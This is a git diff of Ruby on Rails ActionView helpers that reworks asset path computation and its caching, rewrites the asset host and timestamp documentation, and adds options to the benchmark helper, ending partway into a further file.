index 0633d5414e..f6abea38ed 100644
--- a/actionpack/lib/action_view/helpers/asset_tag_helper.rb
+++ b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
@@ -6,54 +6,70 @@ module ActionView
module Helpers #:nodoc:
# This module provides methods for generating HTML that links views to assets such
# as images, javascripts, stylesheets, and feeds. These methods do not verify
- # the assets exist before linking to them.
+ # the assets exist before linking to them:
+ #
+ # image_tag("rails.png")
+ # # => <img alt="Rails src="/images/rails.png?1230601161" />
+ # stylesheet_link_tag("application")
+ # # => <link href="/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
#
# === Using asset hosts
+ #
# By default, Rails links to these assets on the current host in the public
- # folder, but you can direct Rails to link to assets from a dedicated assets server by
- # setting ActionController::Base.asset_host in your <tt>config/environment.rb</tt>. For example,
- # let's say your asset host is <tt>assets.example.com</tt>.
+ # folder, but you can direct Rails to link to assets from a dedicated asset
+ # server by setting ActionController::Base.asset_host in the application
+ # configuration, typically in <tt>config/environments/production.rb</tt>.
+ # For example, you'd define <tt>assets.example.com</tt> to be your asset
+ # host this way:
#
# ActionController::Base.asset_host = "assets.example.com"
+ #
+ # Helpers take that into account:
+ #
# image_tag("rails.png")
- # => <img src="http://assets.example.com/images/rails.png" alt="Rails" />
+ # # => <img alt="Rails" src="http://assets.example.com/images/rails.png?1230601161" />
# stylesheet_link_tag("application")
- # => <link href="http://assets.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+ # # => <link href="http://assets.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
#
- # This is useful since browsers typically open at most two connections to a single host,
- # which means your assets often wait in single file for their turn to load. You can
- # alleviate this by using a <tt>%d</tt> wildcard in <tt>asset_host</tt> (for example, "assets%d.example.com")
- # to automatically distribute asset requests among four hosts (e.g., "assets0.example.com" through "assets3.example.com")
- # so browsers will open eight connections rather than two.
+ # Browsers typically open at most two simultaneous connections to a single
+ # host, which means your assets often have to wait for other assets to finish
+ # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
+ # +asset_host+. For example, "assets%d.example.com". If that wildcard is
+ # present Rails distributes asset requests among the corresponding four hosts
+ # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
+ # will open eight simultaneous connections rather than two.
#
# image_tag("rails.png")
- # => <img src="http://assets0.example.com/images/rails.png" alt="Rails" />
+ # # => <img alt="Rails" src="http://assets0.example.com/images/rails.png?1230601161" />
# stylesheet_link_tag("application")
- # => <link href="http://assets3.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+ # # => <link href="http://assets2.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
#
- # To do this, you can either setup 4 actual hosts, or you can use wildcard DNS to CNAME
- # the wildcard to a single asset host. You can read more about setting up your DNS CNAME records from
- # your ISP.
+ # To do this, you can either setup four actual hosts, or you can use wildcard
+ # DNS to CNAME the wildcard to a single asset host. You can read more about
+ # setting up your DNS CNAME records from your ISP.
#
# Note: This is purely a browser performance optimization and is not meant
# for server load balancing. See http://www.die.net/musings/page_load_time/
# for background.
#
- # Alternatively, you can exert more control over the asset host by setting <tt>asset_host</tt> to a proc
- # that takes a single source argument. This is useful if you are unable to setup 4 actual hosts or have
- # fewer/more than 4 hosts. The example proc below generates http://assets1.example.com and
- # http://assets2.example.com randomly.
+ # Alternatively, you can exert more control over the asset host by setting
+ # +asset_host+ to a proc like this:
#
- # ActionController::Base.asset_host = Proc.new { |source| "http://assets#{rand(2) + 1}.example.com" }
+ # ActionController::Base.asset_host = Proc.new { |source|
+ # "http://assets#{rand(2) + 1}.example.com"
+ # }
# image_tag("rails.png")
- # => <img src="http://assets2.example.com/images/rails.png" alt="Rails" />
+ # # => <img alt="Rails" src="http://assets0.example.com/images/rails.png?1230601161" />
# stylesheet_link_tag("application")
- # => <link href="http://assets1.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+ # # => <link href="http://assets1.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
+ #
+ # The example above generates "http://assets1.example.com" and
+ # "http://assets2.example.com" randomly. This option is useful for example if
+ # you need fewer/more than four hosts, custom host names, etc.
#
- # The proc takes a <tt>source</tt> parameter (which is the path of the source asset) and an optional
- # <tt>request</tt> parameter (which is an entire instance of an <tt>ActionController::AbstractRequest</tt>
- # subclass). This can be used to generate a particular asset host depending on the asset path and the particular
- # request.
+ # As you see the proc takes a +source+ parameter. That's a string with the
+ # absolute path of the asset with any extensions and timestamps in place,
+ # for example "/images/rails.png?1230601161".
#
# ActionController::Base.asset_host = Proc.new { |source|
# if source.starts_with?('/images')
@@ -63,14 +79,16 @@ module ActionView
# end
# }
# image_tag("rails.png")
- # => <img src="http://images.example.com/images/rails.png" alt="Rails" />
+ # # => <img alt="Rails" src="http://images.example.com/images/rails.png?1230601161" />
# stylesheet_link_tag("application")
- # => <link href="http://assets.example.com/stylesheets/application.css" media="screen" rel="stylesheet" type="text/css" />
+ # # => <link href="http://assets.example.com/stylesheets/application.css?1232285206" media="screen" rel="stylesheet" type="text/css" />
#
- # The optional <tt>request</tt> parameter to the proc is useful in particular for serving assets from an
- # SSL-protected page. The example proc below disables asset hosting for HTTPS connections, while still sending
- # assets for plain HTTP requests from asset hosts. This is useful for avoiding mixed media warnings when serving
- # non-HTTP assets from HTTPS web pages when you don't have an SSL certificate for each of the asset hosts.
+ # Alternatively you may ask for a second parameter +request+. That one is
+ # particularly useful for serving assets from an SSL-protected page. The
+ # example proc below disables asset hosting for HTTPS connections, while
+ # still sending assets for plain HTTP requests from asset hosts. If you don't
+ # have SSL certificates for each of the asset hosts this technique allows you
+ # to avoid warnings in the client about mixed media.
#
# ActionController::Base.asset_host = Proc.new { |source, request|
# if request.ssl?
@@ -80,7 +98,8 @@ module ActionView
# end
# }
#
- # You can also implement a custom asset host object that responds to the call method and tasks one or two parameters just like the proc.
+ # You can also implement a custom asset host object that responds to +call+
+ # and takes either one or two parameters just like the proc.
#
# config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
# "http://asset%d.example.com", "https://asset1.example.com"
@@ -88,24 +107,29 @@ module ActionView
#
# === Using asset timestamps
#
- # By default, Rails will append all asset paths with that asset's timestamp. This allows you to set a cache-expiration date for the
- # asset far into the future, but still be able to instantly invalidate it by simply updating the file (and hence updating the timestamp,
- # which then updates the URL as the timestamp is part of that, which in turn busts the cache).
+ # By default, Rails appends asset's timestamps to all asset paths. This allows
+ # you to set a cache-expiration date for the asset far into the future, but
+ # still be able to instantly invalidate it by simply updating the file (and
+ # hence updating the timestamp, which then updates the URL as the timestamp
+ # is part of that, which in turn busts the cache).
#
- # It's the responsibility of the web server you use to set the far-future expiration date on cache assets that you need to take
- # advantage of this feature. Here's an example for Apache:
+ # It's the responsibility of the web server you use to set the far-future
+ # expiration date on cache assets that you need to take advantage of this
+ # feature. Here's an example for Apache:
#
- # # Asset Expiration
- # ExpiresActive On
- # <FilesMatch "\.(ico|gif|jpe?g|png|js|css)$">
- # ExpiresDefault "access plus 1 year"
- # </FilesMatch>
+ # # Asset Expiration
+ # ExpiresActive On
+ # <FilesMatch "\.(ico|gif|jpe?g|png|js|css)$">
+ # ExpiresDefault "access plus 1 year"
+ # </FilesMatch>
#
- # Also note that in order for this to work, all your application servers must return the same timestamps. This means that they must
- # have their clocks synchronized. If one of them drift out of sync, you'll see different timestamps at random and the cache won't
- # work. Which means that the browser will request the same assets over and over again even thought they didn't change. You can use
- # something like Live HTTP Headers for Firefox to verify that the cache is indeed working (and that the assets are not being
- # requested over and over).
+ # Also note that in order for this to work, all your application servers must
+ # return the same timestamps. This means that they must have their clocks
+ # synchronized. If one of them drifts out of sync, you'll see different
+ # timestamps at random and the cache won't work. In that case the browser
+ # will request the same assets over and over again even thought they didn't
+ # change. You can use something like Live HTTP Headers for Firefox to verify
+ # that the cache is indeed working.
module AssetTagHelper
ASSETS_DIR = defined?(Rails.public_path) ? Rails.public_path : "public"
JAVASCRIPTS_DIR = "#{ASSETS_DIR}/javascripts"
@@ -117,7 +141,7 @@ module ActionView
# <tt>:atom</tt>. Control the link options in url_for format using the
# +url_options+. You can modify the LINK tag itself in +tag_options+.
#
- # ==== Options:
+ # ==== Options
# * <tt>:rel</tt> - Specify the relation of this link, defaults to "alternate"
# * <tt>:type</tt> - Override the auto-generated mime type
# * <tt>:title</tt> - Specify the title of the link, defaults to the +type+
@@ -157,7 +181,7 @@ module ActionView
# javascript_path "http://www.railsapplication.com/js/xmlhr" # => http://www.railsapplication.com/js/xmlhr.js
# javascript_path "http://www.railsapplication.com/js/xmlhr.js" # => http://www.railsapplication.com/js/xmlhr.js
def javascript_path(source)
- JavaScriptTag.new(self, @controller, source).public_path
+ compute_public_path(source, 'javascripts', 'js')
end
alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
@@ -255,17 +279,15 @@ module ActionView
joined_javascript_name = (cache == true ? "all" : cache) + ".js"
joined_javascript_path = File.join(JAVASCRIPTS_DIR, joined_javascript_name)
- unless File.exists?(joined_javascript_path)
- JavaScriptSources.create(self, @controller, sources, recursive).write_asset_file_contents(joined_javascript_path)
- end
+ write_asset_file_contents(joined_javascript_path, compute_javascript_paths(sources, recursive)) unless File.exists?(joined_javascript_path)
javascript_src_tag(joined_javascript_name, options)
else
- JavaScriptSources.create(self, @controller, sources, recursive).expand_sources.collect { |source|
- javascript_src_tag(source, options)
- }.join("\n")
+ expand_javascript_sources(sources, recursive).collect { |source| javascript_src_tag(source, options) }.join("\n")
end
end
+ @@javascript_expansions = { :defaults => JAVASCRIPT_DEFAULT_SOURCES.dup }
+
# Register one or more javascript files to be included when <tt>symbol</tt>
# is passed to <tt>javascript_include_tag</tt>. This method is typically intended
# to be called from plugin initialization to register javascript files
@@ -278,9 +300,11 @@ module ActionView
# <script type="text/javascript" src="/javascripts/body.js"></script>
# <script type="text/javascript" src="/javascripts/tail.js"></script>
def self.register_javascript_expansion(expansions)
- JavaScriptSources.expansions.merge!(expansions)
+ @@javascript_expansions.merge!(expansions)
end
+ @@stylesheet_expansions = {}
+
# Register one or more stylesheet files to be included when <tt>symbol</tt>
# is passed to <tt>stylesheet_link_tag</tt>. This method is typically intended
# to be called from plugin initialization to register stylesheet files
@@ -293,7 +317,7 @@ module ActionView
# <link href="/stylesheets/body.css" media="screen" rel="stylesheet" type="text/css" />
# <link href="/stylesheets/tail.css" media="screen" rel="stylesheet" type="text/css" />
def self.register_stylesheet_expansion(expansions)
- StylesheetSources.expansions.merge!(expansions)
+ @@stylesheet_expansions.merge!(expansions)
end
# Register one or more additional JavaScript files to be included when
@@ -301,11 +325,11 @@ module ActionView
# typically intended to be called from plugin initialization to register additional
# .js files that the plugin installed in <tt>public/javascripts</tt>.
def self.register_javascript_include_default(*sources)
- JavaScriptSources.expansions[:defaults].concat(sources)
+ @@javascript_expansions[:defaults].concat(sources)
end
def self.reset_javascript_include_default #:nodoc:
- JavaScriptSources.expansions[:defaults] = JAVASCRIPT_DEFAULT_SOURCES.dup
+ @@javascript_expansions[:defaults] = JAVASCRIPT_DEFAULT_SOURCES.dup
end
# Computes the path to a stylesheet asset in the public stylesheets directory.
@@ -320,7 +344,7 @@ module ActionView
# stylesheet_path "http://www.railsapplication.com/css/style" # => http://www.railsapplication.com/css/style.css
# stylesheet_path "http://www.railsapplication.com/css/style.js" # => http://www.railsapplication.com/css/style.css
def stylesheet_path(source)
- StylesheetTag.new(self, @controller, source).public_path
+ compute_public_path(source, 'stylesheets', 'css')
end
alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
@@ -365,7 +389,6 @@ module ActionView
# compressed by gzip (leading to faster transfers). Caching will only happen if ActionController::Base.perform_caching
# is set to true (which is the case by default for the Rails production environment, but not for the development
# environment). Examples:
-
#
# ==== Examples
# stylesheet_link_tag :all, :cache => true # when ActionController::Base.perform_caching is false =>
@@ -396,14 +419,10 @@ module ActionView
joined_stylesheet_name = (cache == true ? "all" : cache) + ".css"
joined_stylesheet_path = File.join(STYLESHEETS_DIR, joined_stylesheet_name)
- unless File.exists?(joined_stylesheet_path)
- StylesheetSources.create(self, @controller, sources, recursive).write_asset_file_contents(joined_stylesheet_path)
- end
+ write_asset_file_contents(joined_stylesheet_path, compute_stylesheet_paths(sources, recursive)) unless File.exists?(joined_stylesheet_path)
stylesheet_tag(joined_stylesheet_name, options)
else
- StylesheetSources.create(self, @controller, sources, recursive).expand_sources.collect { |source|
- stylesheet_tag(source, options)
- }.join("\n")
+ expand_stylesheet_sources(sources, recursive).collect { |source| stylesheet_tag(source, options) }.join("\n")
end
end
@@ -418,7 +437,7 @@ module ActionView
# image_path("/icons/edit.png") # => /icons/edit.png
# image_path("http://www.railsapplication.com/img/edit.png") # => http://www.railsapplication.com/img/edit.png
def image_path(source)
- ImageTag.new(self, @controller, source).public_path
+ compute_public_path(source, 'images')
end
alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
@@ -473,353 +492,190 @@ module ActionView
tag("img", options)
end
- private
- def javascript_src_tag(source, options)
- content_tag("script", "", { "type" => Mime::JS, "src" => path_to_javascript(source) }.merge(options))
- end
-
- def stylesheet_tag(source, options)
- tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => html_escape(path_to_stylesheet(source)) }.merge(options), false, false)
- end
-
- module ImageAsset
- DIRECTORY = 'images'.freeze
-
- def directory
- DIRECTORY
- end
-
- def extension
- nil
- end
- end
-
- module JavaScriptAsset
- DIRECTORY = 'javascripts'.freeze
- EXTENSION = 'js'.freeze
-
- def public_directory
- JAVASCRIPTS_DIR
- end
-
- def directory
- DIRECTORY
- end
+ def self.cache_asset_timestamps
+ @@cache_asset_timestamps
+ end
- def extension
- EXTENSION
- end
- end
+ # You can enable or disable the asset tag timestamps cache.
+ # With the cache enabled, the asset tag helper methods will make fewer
+ # expense file system calls. However this prevents you from modifying
+ # any asset files while the server is running.
+ #
+ # ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false
+ def self.cache_asset_timestamps=(value)
+ @@cache_asset_timestamps = value
+ end
- module StylesheetAsset
- DIRECTORY = 'stylesheets'.freeze
- EXTENSION = 'css'.freeze
+ @@cache_asset_timestamps = true
- def public_directory
- STYLESHEETS_DIR
+ private
+ # Add the the extension +ext+ if not present. Return full URLs otherwise untouched.
+ # Prefix with <tt>/dir/</tt> if lacking a leading +/+. Account for relative URL
+ # roots. Rewrite the asset path for cache-busting asset ids. Include
+ # asset host, if configured, with the correct request protocol.
+ def compute_public_path(source, dir, ext = nil, include_host = true)
+ has_request = @controller.respond_to?(:request)
+
+ if ext && (File.extname(source).blank? || File.exist?(File.join(ASSETS_DIR, dir, "#{source}.#{ext}")))
+ source += ".#{ext}"
end
- def directory
- DIRECTORY
- end
+ unless source =~ %r{^[-a-z]+://}
+ source = "/#{dir}/#{source}" unless source[0] == ?/
- def extension
- EXTENSION
- end
- end
+ source = rewrite_asset_path(source)
- class AssetTag
- extend ActiveSupport::Memoizable
-
- Cache = {}
- CacheGuard = Mutex.new
-
- ProtocolRegexp = %r{^[-a-z]+://}.freeze
-
- def initialize(template, controller, source, include_host = true)
- # NOTE: The template arg is temporarily needed for a legacy plugin
- # hook that is expected to call rewrite_asset_path on the
- # template. This should eventually be removed.
- @template = template
- @controller = controller
- @source = source
- @include_host = include_host
- @cache_key = if controller.respond_to?(:request)
- [self.class.name,controller.request.protocol,
- ActionController::Base.asset_host,
- ActionController::Base.relative_url_root,
- source, include_host]
- else
- [self.class.name,ActionController::Base.asset_host, source, include_host]
+ if has_request && include_host
+ unless source =~ %r{^#{ActionController::Base.relative_url_root}/}
+ source = "#{ActionController::Base.relative_url_root}#{source}"
+ end
end
end
-
- def public_path
- compute_public_path(@source)
- end
- memoize :public_path
-
- def asset_file_path
- File.join(ASSETS_DIR, public_path.split('?').first)
- end
- memoize :asset_file_path
-
- def contents
- File.read(asset_file_path)
- end
-
- def mtime
- File.mtime(asset_file_path)
- end
- private
- def request
- request? && @controller.request
- end
+ if include_host && source !~ %r{^[-a-z]+://}
+ host = compute_asset_host(source)
- def request?
- @controller.respond_to?(:request)
+ if has_request && !host.blank? && host !~ %r{^[-a-z]+://}
+ host = "#{@controller.request.protocol}#{host}"
end
- # Add the the extension +ext+ if not present. Return full URLs otherwise untouched.
- # Prefix with <tt>/dir/</tt> if lacking a leading +/+. Account for relative URL
- # roots. Rewrite the asset path for cache-busting asset ids. Include
- # asset host, if configured, with the correct request protocol.
- def compute_public_path(source)
- if source =~ ProtocolRegexp
- source += ".#{extension}" if missing_extension?(source)
- source = prepend_asset_host(source)
- source
- else
- CacheGuard.synchronize do
- Cache[@cache_key + [source]] ||= begin
- source += ".#{extension}" if missing_extension?(source) || file_exists_with_extension?(source)
- source = "/#{directory}/#{source}" unless source[0] == ?/
- source = rewrite_asset_path(source)
- source = prepend_relative_url_root(source)
- source = prepend_asset_host(source)
- source
- end
- end
- end
- end
-
- def missing_extension?(source)
- extension && File.extname(source).blank?
- end
-
- def file_exists_with_extension?(source)
- extension && File.exist?(File.join(ASSETS_DIR, directory, "#{source}.#{extension}"))
- end
-
- def prepend_relative_url_root(source)
- relative_url_root = ActionController::Base.relative_url_root
- if request? && @include_host && source !~ %r{^#{relative_url_root}/}
- "#{relative_url_root}#{source}"
- else
- source
- end
- end
+ "#{host}#{source}"
+ else
+ source
+ end
+ end
- def prepend_asset_host(source)
- if @include_host && source !~ ProtocolRegexp
- host = compute_asset_host(source)
- if request? && !host.blank? && host !~ ProtocolRegexp
- host = "#{request.protocol}#{host}"
- end
- "#{host}#{source}"
+ # Pick an asset host for this source. Returns +nil+ if no host is set,
+ # the host if no wildcard is set, the host interpolated with the
+ # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
+ # or the value returned from invoking the proc if it's a proc or the value from
+ # invoking call if it's an object responding to call.
+ def compute_asset_host(source)
+ if host = ActionController::Base.asset_host
+ if host.is_a?(Proc) || host.respond_to?(:call)
+ case host.is_a?(Proc) ? host.arity : host.method(:call).arity
+ when 2
+ request = @controller.respond_to?(:request) && @controller.request
+ host.call(source, request)
else
- source
- end
- end
-
- # Pick an asset host for this source. Returns +nil+ if no host is set,
- # the host if no wildcard is set, the host interpolated with the
- # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
- # or the value returned from invoking the proc if it's a proc or the value from
- # invoking call if it's an object responding to call.
- def compute_asset_host(source)
- if host = ActionController::Base.asset_host
- if host.is_a?(Proc) || host.respond_to?(:call)
- case host.is_a?(Proc) ? host.arity : host.method(:call).arity
- when 2
- host.call(source, request)
- else
- host.call(source)
- end
- else
- (host =~ /%d/) ? host % (source.hash % 4) : host
- end
+ host.call(source)
end
+ else
+ (host =~ /%d/) ? host % (source.hash % 4) : host
end
+ end
+ end
- # Use the RAILS_ASSET_ID environment variable or the source's
- # modification time as its cache-busting asset id.
- def rails_asset_id(source)
- if asset_id = ENV["RAILS_ASSET_ID"]
- asset_id
- else
- path = File.join(ASSETS_DIR, source)
+ @@asset_timestamps_cache = {}
+ @@asset_timestamps_cache_guard = Mutex.new
+
+ # Use the RAILS_ASSET_ID environment variable or the source's
+ # modification time as its cache-busting asset id.
+ def rails_asset_id(source)
+ if asset_id = ENV["RAILS_ASSET_ID"]
+ asset_id
+ else
+ if @@cache_asset_timestamps && (asset_id = @@asset_timestamps_cache[source])
+ asset_id
+ else
+ path = File.join(ASSETS_DIR, source)
+ asset_id = File.exist?(path) ? File.mtime(path).to_i.to_s : ''
- if File.exist?(path)
- File.mtime(path).to_i.to_s
- else
- ''
+ if @@cache_asset_timestamps
+ @@asset_timestamps_cache_guard.synchronize do
+ @@asset_timestamps_cache[source] = asset_id
end
end
- end
- # Break out the asset path rewrite in case plugins wish to put the asset id
- # someplace other than the query string.
- def rewrite_asset_path(source)
- if @template.respond_to?(:rewrite_asset_path)
- # DEPRECATE: This way to override rewrite_asset_path
- @template.send(:rewrite_asset_path, source)
- else
- asset_id = rails_asset_id(source)
- if asset_id.blank?
- source
- else
- "#{source}?#{asset_id}"
- end
- end
+ asset_id
end
+ end
end
- class ImageTag < AssetTag
- include ImageAsset
+ # Break out the asset path rewrite in case plugins wish to put the asset id
+ # someplace other than the query string.
+ def rewrite_asset_path(source)
+ asset_id = rails_asset_id(source)
+ if asset_id.blank?
+ source
+ else
+ source + "?#{asset_id}"
+ end
end
- class JavaScriptTag < AssetTag
- include JavaScriptAsset
+ def javascript_src_tag(source, options)
+ content_tag("script", "", { "type" => Mime::JS, "src" => path_to_javascript(source) }.merge(options))
end
- class StylesheetTag < AssetTag
- include StylesheetAsset
+ def stylesheet_tag(source, options)
+ tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => html_escape(path_to_stylesheet(source)) }.merge(options), false, false)
end
- class AssetCollection
- extend ActiveSupport::Memoizable
-
- Cache = {}
- CacheGuard = Mutex.new
-
- def self.create(template, controller, sources, recursive)
- CacheGuard.synchronize do
- key = [self, sources, recursive]
- Cache[key] ||= new(template, controller, sources, recursive).freeze
- end
- end
+ def compute_javascript_paths(*args)
+ expand_javascript_sources(*args).collect { |source| compute_public_path(source, 'javascripts', 'js', false) }
+ end
- def initialize(template, controller, sources, recursive)
- # NOTE: The template arg is temporarily needed for a legacy plugin
- # hook. See NOTE under AssetTag#initialize for more details
- @template = template
- @controller = controller
- @sources = sources
- @recursive = recursive
- end
+ def compute_stylesheet_paths(*args)
+ expand_stylesheet_sources(*args).collect { |source| compute_public_path(source, 'stylesheets', 'css', false) }
+ end
- def write_asset_file_contents(joined_asset_path)
- FileUtils.mkdir_p(File.dirname(joined_asset_path))
- File.open(joined_asset_path, "w+") { |cache| cache.write(joined_contents) }
- mt = latest_mtime
- File.utime(mt, mt, joined_asset_path)
+ def expand_javascript_sources(sources, recursive = false)
+ if sources.include?(:all)
+ all_javascript_files = collect_asset_files(JAVASCRIPTS_DIR, ('**' if recursive), '*.js')
+ ((determine_source(:defaults, @@javascript_expansions).dup & all_javascript_files) + all_javascript_files).uniq
+ else
+ expanded_sources = sources.collect do |source|
+ determine_source(source, @@javascript_expansions)
+ end.flatten
+ expanded_sources << "application" if sources.include?(:defaults) && File.exist?(File.join(JAVASCRIPTS_DIR, "application.js"))
+ expanded_sources
end
-
- private
- def determine_source(source, collection)
- case source
- when Symbol
- collection[source] || raise(ArgumentError, "No expansion found for #{source.inspect}")
- else
- source
- end
- end
-
- def validate_sources!
- @sources.collect { |source| determine_source(source, self.class.expansions) }.flatten
- end
-
- def all_asset_files
- path = [public_directory, ('**' if @recursive), "*.#{extension}"].compact
- Dir[File.join(*path)].collect { |file|
- file[-(file.size - public_directory.size - 1)..-1].sub(/\.\w+$/, '')
- }.sort
- end
-
- def tag_sources
- expand_sources.collect { |source| tag_class.new(@template, @controller, source, false) }
- end
-
- def joined_contents
- tag_sources.collect { |source| source.contents }.join("\n\n")
- end
-
- # Set mtime to the latest of the combined files to allow for
- # consistent ETag without a shared filesystem.
- def latest_mtime
- tag_sources.map { |source| source.mtime }.max
- end
end
- class JavaScriptSources < AssetCollection
- include JavaScriptAsset
-
- EXPANSIONS = { :defaults => JAVASCRIPT_DEFAULT_SOURCES.dup }
-
- def self.expansions
- EXPANSIONS
+ def expand_stylesheet_sources(sources, recursive)
+ if sources.first == :all
+ collect_asset_files(STYLESHEETS_DIR, ('**' if recursive), '*.css')
+ else
+ sources.collect do |source|
+ determine_source(source, @@stylesheet_expansions)
+ end.flatten
end
+ end
- APPLICATION_JS = "application".freeze
- APPLICATION_FILE = "application.js".freeze
-
- def expand_sources
- if @sources.include?(:all)
- assets = all_asset_files
- ((defaults.dup & assets) + assets).uniq!
- else
- expanded_sources = validate_sources!
- expanded_sources << APPLICATION_JS if include_application?
- expanded_sources
- end
+ def determine_source(source, collection)
+ case source
+ when Symbol
+ collection[source] || raise(ArgumentError, "No expansion found for #{source.inspect}")
+ else
+ source
end
- memoize :expand_sources
-
- private
- def tag_class
- JavaScriptTag
- end
-
- def defaults
- determine_source(:defaults, self.class.expansions)
- end
+ end
- def include_application?
- @sources.include?(:defaults) && File.exist?(File.join(JAVASCRIPTS_DIR, APPLICATION_FILE))
- end
+ def join_asset_file_contents(paths)
+ paths.collect { |path| File.read(asset_file_path(path)) }.join("\n\n")
end
- class StylesheetSources < AssetCollection
- include StylesheetAsset
+ def write_asset_file_contents(joined_asset_path, asset_paths)
+ FileUtils.mkdir_p(File.dirname(joined_asset_path))
+ File.open(joined_asset_path, "w+") { |cache| cache.write(join_asset_file_contents(asset_paths)) }
- EXPANSIONS = {}
+ # Set mtime to the latest of the combined files to allow for
+ # consistent ETag without a shared filesystem.
+ mt = asset_paths.map { |p| File.mtime(asset_file_path(p)) }.max
+ File.utime(mt, mt, joined_asset_path)
+ end
- def self.expansions
- EXPANSIONS
- end
+ def asset_file_path(path)
+ File.join(ASSETS_DIR, path.split('?').first)
+ end
- def expand_sources
- @sources.first == :all ? all_asset_files : validate_sources!
- end
- memoize :expand_sources
+ def collect_asset_files(*path)
+ dir = path.first
- private
- def tag_class
- StylesheetTag
- end
+ Dir[File.join(*path.compact)].collect do |file|
+ file[-(file.size - dir.size - 1)..-1].sub(/\.\w+$/, '')
+ end.sort
end
end
end
-end
+end \ No newline at end of file
diff --git a/actionpack/lib/action_view/helpers/benchmark_helper.rb b/actionpack/lib/action_view/helpers/benchmark_helper.rb
index 372d24a22e..61c2cecb04 100644
--- a/actionpack/lib/action_view/helpers/benchmark_helper.rb
+++ b/actionpack/lib/action_view/helpers/benchmark_helper.rb
@@ -18,12 +18,33 @@ module ActionView
# That would add something like "Process data files (345.2ms)" to the log,
# which you can then use to compare timings when optimizing your code.
#
- # You may give an optional logger level as the second argument
+ # You may give an optional logger level as the :level option.
# (:debug, :info, :warn, :error); the default value is :info.
- def benchmark(message = "Benchmarking", level = :info)
+ #
+ # <% benchmark "Low-level files", :level => :debug do %>
+ # <%= lowlevel_files_operation %>
+ # <% end %>
+ #
+ # Finally, you can pass true as the third argument to silence all log activity
+ # inside the block. This is great for boiling down a noisy block to just a single statement:
+ #
+ # <% benchmark "Process data files", :level => :info, :silence => true do %>
+ # <%= expensive_and_chatty_files_operation %>
+ # <% end %>
+ def benchmark(message = "Benchmarking", options = {})
if controller.logger
- ms = Benchmark.ms { yield }
- controller.logger.send(level, '%s (%.1fms)' % [message, ms])
+ if options.is_a?(Symbol)
+ ActiveSupport::Deprecation.warn("use benchmark('#{message}', :level => :#{options}) instead", caller)
+ options = { :level => options, :silence => false }
+ else
+ options.assert_valid_keys(:level, :silence)
+ options[:level] ||= :info
+ end
+
+ result = nil
+ ms = Benchmark.ms { result = options[:silence] ? controller.logger.silence { yield } : yield }
+ controller.logger.send(options[:level], '%s (%.1fms)' % [ message, ms ])
+ result
else
yield
end
diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb
index 4305617ac8..b4c1adbe76 100644
--- a/actionpack/lib/action_view/helpers/date_helper.rb
+++ b/actionpack/lib/action_view/helpers/date_helper.rb
@@ -860,7 +860,7 @@ module ActionView
# => post[written_on(1i)]
def input_name_from_type(type)
prefix = @options[:prefix] || ActionView::Helpers::DateTimeSelector::DEFAULT_PREFIX
- prefix += "[#{@options[:index]}]" if @options[:index]
+ prefix += "[#{@options[:index]}]" if @options.has_key?(:index)
field_name = @options[:field_name] || type
if @options[:include_position]
@@ -923,7 +923,7 @@ module ActionView
options[:field_name] = @method_name
options[:include_position] = true
options[:prefix] ||= @object_name
- options[:index] ||= @auto_index
+ options[:index] = @auto_index if @auto_index && !options.has_key?(:index)
options[:datetime_separator] ||= ' &mdash; '
options[:time_separator] ||= ' : '
@@ -961,15 +961,15 @@ module ActionView
class FormBuilder
def date_select(method, options = {}, html_options = {})
- @template.date_select(@object_name, method, options.merge(:object => @object), html_options)
+ @template.date_select(@object_name, method, objectify_options(options), html_options)
end
def time_select(method, options = {}, html_options = {})
- @template.time_select(@object_name, method, options.merge(:object => @object), html_options)
+ @template.time_select(@object_name, method, objectify_options(options), html_options)
end
def datetime_select(method, options = {}, html_options = {})
- @template.datetime_select(@object_name, method, options.merge(:object => @object), html_options)
+ @template.datetime_select(@object_name, method, objectify_options(options), html_options)
end
end
end
diff --git a/actionpack/lib/action_view/helpers/form_helper.rb b/actionpack/lib/action_view/helpers/form_helper.rb
index 621e2946b5..a85751c657 100644
--- a/actionpack/lib/action_view/helpers/form_helper.rb
+++ b/actionpack/lib/action_view/helpers/form_helper.rb
@@ -737,9 +737,13 @@ module ActionView
(field_helpers - %w(label check_box radio_button fields_for)).each do |selector|
src = <<-end_src
- def #{selector}(method, options = {})
- @template.send(#{selector.inspect}, @object_name, method, objectify_options(options))
- end
+ def #{selector}(method, options = {}) # def text_field(method, options = {})
+ @template.send( # @template.send(
+ #{selector.inspect}, # "text_field",
+ @object_name, # @object_name,
+ method, # method,
+ objectify_options(options)) # objectify_options(options))
+ end # end
end_src
class_eval src, __FILE__, __LINE__
end
diff --git a/actionpack/lib/action_view/inline_template.rb b/actionpack/lib/action_view/inline_template.rb
index 5e00cef13f..54efa543c8 100644
--- a/actionpack/lib/action_view/inline_template.rb
+++ b/actionpack/lib/action_view/inline_template.rb
@@ -12,7 +12,7 @@ module ActionView #:nodoc:
private
# Always recompile inline templates
- def recompile?(local_assigns)
+ def recompile?
true
end
end
diff --git a/actionpack/lib/action_view/paths.rb b/actionpack/lib/action_view/paths.rb
index b030156889..19207e7262 100644
--- a/actionpack/lib/action_view/paths.rb
+++ b/actionpack/lib/action_view/paths.rb
@@ -2,7 +2,7 @@ module ActionView #:nodoc:
